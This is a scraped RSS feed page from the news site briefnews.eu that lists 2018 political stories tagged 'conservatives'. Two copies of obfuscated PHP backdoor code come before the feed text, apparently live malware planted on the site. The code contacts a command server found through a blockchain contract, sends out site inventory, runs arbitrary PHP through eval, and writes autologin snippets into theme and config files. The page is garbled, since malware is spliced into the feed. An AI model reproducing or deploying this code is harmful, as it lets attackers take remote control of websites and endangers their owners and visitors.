// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); conservatives – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 09 Nov 2018 19:20:46 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png conservatives – Brief News https://briefnews.eu 32 32 CNN’s Chris Cuomo goes after God in California shooting comments, angers conservatives https://briefnews.eu/cnns-chris-cuomo-goes-after-god-in-california-shooting-comments-angers-conservatives/ https://briefnews.eu/cnns-chris-cuomo-goes-after-god-in-california-shooting-comments-angers-conservatives/#respond Fri, 09 Nov 2018 19:20:46 +0000 http://briefnews.eu/cnns-chris-cuomo-goes-after-god-in-california-shooting-comments-angers-conservatives/

“You think leaving it to God is the answer?” asked CNN’s Chris Cuomo in a segment on the latest mass shooting in the US, suggesting that something would be done for gun control if children of influential people were to be shot.

One day after former Marine Ian David Long unloaded on a packed bar in Thousand Oaks, California, Cuomo launched into a passionate gun-control diatribe, lambasting pro-gun politicians and lobbyists like the National Rifle Association for failing to take real steps towards stopping “the damn shooting.”

Cuomo then savaged the familiar line trotted out after every incident of mass gun violence in the US: “I would like to offer my thoughts and prayers.”

Thoughts and prayers, Cuomo argued, “mock those who lost loved ones, because if you gave it any thought, you would never walk away from any of these without figuring out a better way to deal with them.”

“Prayer?” he continued, “You think leaving it to God is the answer?

“How about a stadium full of children of the most influential people in our society, all holding puppies. What if they were all shot and killed. Would we act?

Cuomo’s message angered conservatives and Christians.

Ironically, mocking calls for ‘thoughts and prayers’ is a common tactic on the right too, just not the Christian right. Limp-wristed ‘thoughts and prayers’ responses to Islamic terrorist attacks are often ridiculed by the right, who suggest stricter immigration and anti-terror laws in their place.

Whatever his opinions on prayer, God, or shooting puppies, Cuomo’s point is a solid one. ‘Thoughts and prayers’ are a staple of American public discourse every time tragedy strikes. With over 300 mass shootings – defined as a shooting in which more than three people are killed or injured, from gunshots or while escaping – this year so far, many feel frustrated upon hearing the same platitudes and partisan bickering every time, while nothing changes.

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]]> https://briefnews.eu/cnns-chris-cuomo-goes-after-god-in-california-shooting-comments-angers-conservatives/feed/ 0 Trump: ‘We won’t let’ discrimination of conservatives on social media happen https://briefnews.eu/trump-we-wont-let-discrimination-of-conservatives-on-social-media-happen/ https://briefnews.eu/trump-we-wont-let-discrimination-of-conservatives-on-social-media-happen/#respond Sat, 18 Aug 2018 16:27:00 +0000 http://briefnews.eu/trump-we-wont-let-discrimination-of-conservatives-on-social-media-happen/ US President Donald Trump has spoken out about censorship against conservatives on social media, saying it is a “very dangerous thing” and calling for everyone to be allowed to participate in the online conversation.

“Social media is totally discriminating against Republican/conservative voices. Speaking loudly and clearly for the Trump administration, we won’t let that happen. They are closing down the opinions of many people on the RIGHT, while at the same time doing nothing to others,” Trump wrote.

He went on to call censorship a “very dangerous thing,” while taking the opportunity to slam “fake news.”

“There is nothing so fake as CNN & MSNBC, and yet I do not ask that their sick behavior be removed…”

Trump also questioned “who is making the choices” regarding who gets removed from social media, adding that “mistakes are being made.”

“Let everybody participate, good and bad, and we will all just have to figure it out!” he wrote.

It comes just days after several journalists raised alarm at what they say are baseless complaints sent to Twitter over stories with sensitive topics – including the activities of British spy Christopher Steele and links between Sen. Dianne Feinstein (D-CA) and China. 

Meanwhile, many conservatives recently became outraged when Twitter and Facebook suspended controversial right-wing host Alex Jones of Infowars over so-called “hate speech.”

Read more


© Kevin Lamarque / Reuters

That decision was defended by Twitter CEO Jack Dorsey, who told The Hill earlier this week that Jones had been posting content that broke Twitter’s terms of service.

Twitter has also acknowledged that a new policy to suppress hate speech has resulted in the search results of some Republican lawmakers being reduced. The company did, however, add that some Democrats have also been affected. On Friday, liberal Australian journalist Caitlin Johnstone was removed from Twitter after tweeting that “the world will be improved” when Sen. John McCain (R-AZ), who is battling brain cancer, “finally dies.” 

As for Facebook, which recently came under fire for suspending the pages of TeleSur and independent sites Venezuelanalysis.com and Haitianalysis.blogspot.com, the social network stated in May that it will be launching a review of anti-conservative bias on the platform.

Trump’s most recent tweets aren’t the first time he’s spoken out against the alleged censoring of conservatives on social media. In July, he said the so-called “shadow banning” of prominent Republicans on Twitter is “discriminatory and illegal.” The term ‘shadow banning’ refers to a situation when a social media user believes they have full access to a platform but other users are prevented from seeing their accounts or messages.

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]]> https://briefnews.eu/trump-we-wont-let-discrimination-of-conservatives-on-social-media-happen/feed/ 0 A gun advocate who Sacha Baron Cohen duped for his new show wrote a ‘warning’ to fellow conservatives back in April https://briefnews.eu/a-gun-advocate-who-sacha-baron-cohen-duped-for-his-new-show-wrote-a-warning-to-fellow-conservatives-back-in-april/ https://briefnews.eu/a-gun-advocate-who-sacha-baron-cohen-duped-for-his-new-show-wrote-a-warning-to-fellow-conservatives-back-in-april/#respond Wed, 18 Jul 2018 13:44:46 +0000 http://briefnews.eu/a-gun-advocate-who-sacha-baron-cohen-duped-for-his-new-show-wrote-a-warning-to-fellow-conservatives-back-in-april/ who is americaShowtime

  • A gun-rights activist who Sacha Baron Cohen duped in the pilot episode of his new Showtime series “Who Is America?” wrote a 1,400-word Facebook post about his experience of filming his segment in April, as a “warning” to fellow conservatives.
  • Philip Van Cleave, the president of the Virginia Citizens Defense League, wrote that he suspected he’d been the “victim” of  “someone like Michael Moore, or, even worse, a Sacha Baron Cohen-esq ‘Borat’-type of shock comedy meant to be devastatingly embarrassing and humiliating to the victim in the crosshairs.”

In the strongest segment of the pilot for Sacha Baron Cohen’s new Showtime satirical series, “Who Is America?,” Cohen, disguised as an Israel “anti-terror expert,” convinces conservative politicians and gun-rights advocates to endorse a program that would arm American toddlers with guns.

One of Cohen’s unsuspecting guests, Philip Van Cleave, the president of the Virginia Citizens Defense League, who recognized that he was being duped after filming his part for the show, wrote a 1,400-word Facebook post recapping his experience on the project as a “warning” to fellow gun advocates and conservatives way back in April, The Daily Beast reported.

See the rest of the story at Business Insider

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SEE ALSO: All the notable people and politicians Sacha Baron Cohen has ‘duped’ for his new TV series, ‘Who Is America?’

]]> https://briefnews.eu/a-gun-advocate-who-sacha-baron-cohen-duped-for-his-new-show-wrote-a-warning-to-fellow-conservatives-back-in-april/feed/ 0 Meddling, anyone? US envoy to Berlin wants to ‘empower’ Europe’s conservatives, hails ‘awakening’ https://briefnews.eu/meddling-anyone-us-envoy-to-berlin-wants-to-empower-europes-conservatives-hails-awakening/ https://briefnews.eu/meddling-anyone-us-envoy-to-berlin-wants-to-empower-europes-conservatives-hails-awakening/#respond Mon, 04 Jun 2018 18:36:13 +0000 http://briefnews.eu/meddling-anyone-us-envoy-to-berlin-wants-to-empower-europes-conservatives-hails-awakening/ Washington’s rookie ambassador to Germany has stood by his words about “empowering” conservatives throughout Europe – after being accused of openly interfering in the internal politics of his host country.

Richard Grenell has opened a new diplomatic can of worms, after being quoted by Breitbart London on Sunday as advocating for right-leaning governments throughout Europe.

“I absolutely want to empower other conservatives throughout Europe, other leaders,” he told Breitbart, adding that he was overjoyed by the “European groundswell of conservative policies” that has come about because of “the failed policies of the left.”

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File photo © Aaron Bernstein

Berlin was apparently unamused by the diplomat’s nonchalant political advocacy, and a foreign ministry spokesperson confirmed on Monday that the German government had “asked the US side for clarification” regarding Grenell’s comments, and that state secretary Andreas Michaelis would re-visit the issue at a scheduled meeting with the US envoy later this week.

German Chancellor Angela Merkel’s spokesperson, Steffen Seibert, said the chancellor was aware of Grenell’s undiplomatic utterances but declined to comment on them.

Twitter uproar quickly followed in the wake Grenell’s sensational Beitbart interview, with both German and US politicians condemning the US ambassador’s comments.

“I know you are still quite new at your post, but it is not part of the job description of an ambassador to interfere in the politics of his guest country,” Lars Klingbeil, general secretary of the Social Democrats, tweeted at Grenell.

US Senator Chris Murphy (D-CT) expressed similar outrage on the other side of the Atlantic. “When I raised concerns to Grenell about politicizing this post, he personally assured me that once he became Ambassador he would stay out of politics. This interview is awful – Ambassadors aren’t supposed to ‘empower’ any political party overseas,” Murphy tweeted on Sunday.

However, Grenell defended the interview, insisting that the “idea” that he had endorsed particular candidates or parties was “ridiculous.”

“I stand by my comments that we are experiencing an awakening from the silent majority – those who reject the elites & their bubble. Led by Trump,” Grenell wrote on Twitter.

An outspoken Trump supporter, Grenell arrived in Berlin in early May, taking up a diplomatic post that had been vacant for 15 months.

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]]> https://briefnews.eu/meddling-anyone-us-envoy-to-berlin-wants-to-empower-europes-conservatives-hails-awakening/feed/ 0 Is It Weird for Conservatives to Like ‘Star Trek’? https://briefnews.eu/is-it-weird-for-conservatives-to-like-star-trek/ https://briefnews.eu/is-it-weird-for-conservatives-to-like-star-trek/#respond Sat, 19 May 2018 15:58:34 +0000 http://briefnews.eu/is-it-weird-for-conservatives-to-like-star-trek/ On the latest ‘Geek’s Guide to the Galaxy’ podcast, writer Ana Marie Cox discusses Ted Cruz’s love of one of the most openly liberal TV shows.


https://media.wired.com/photos/5afdc338997b9441ce0b0dca/master/pass/StarTrekKirk-FA.jpg

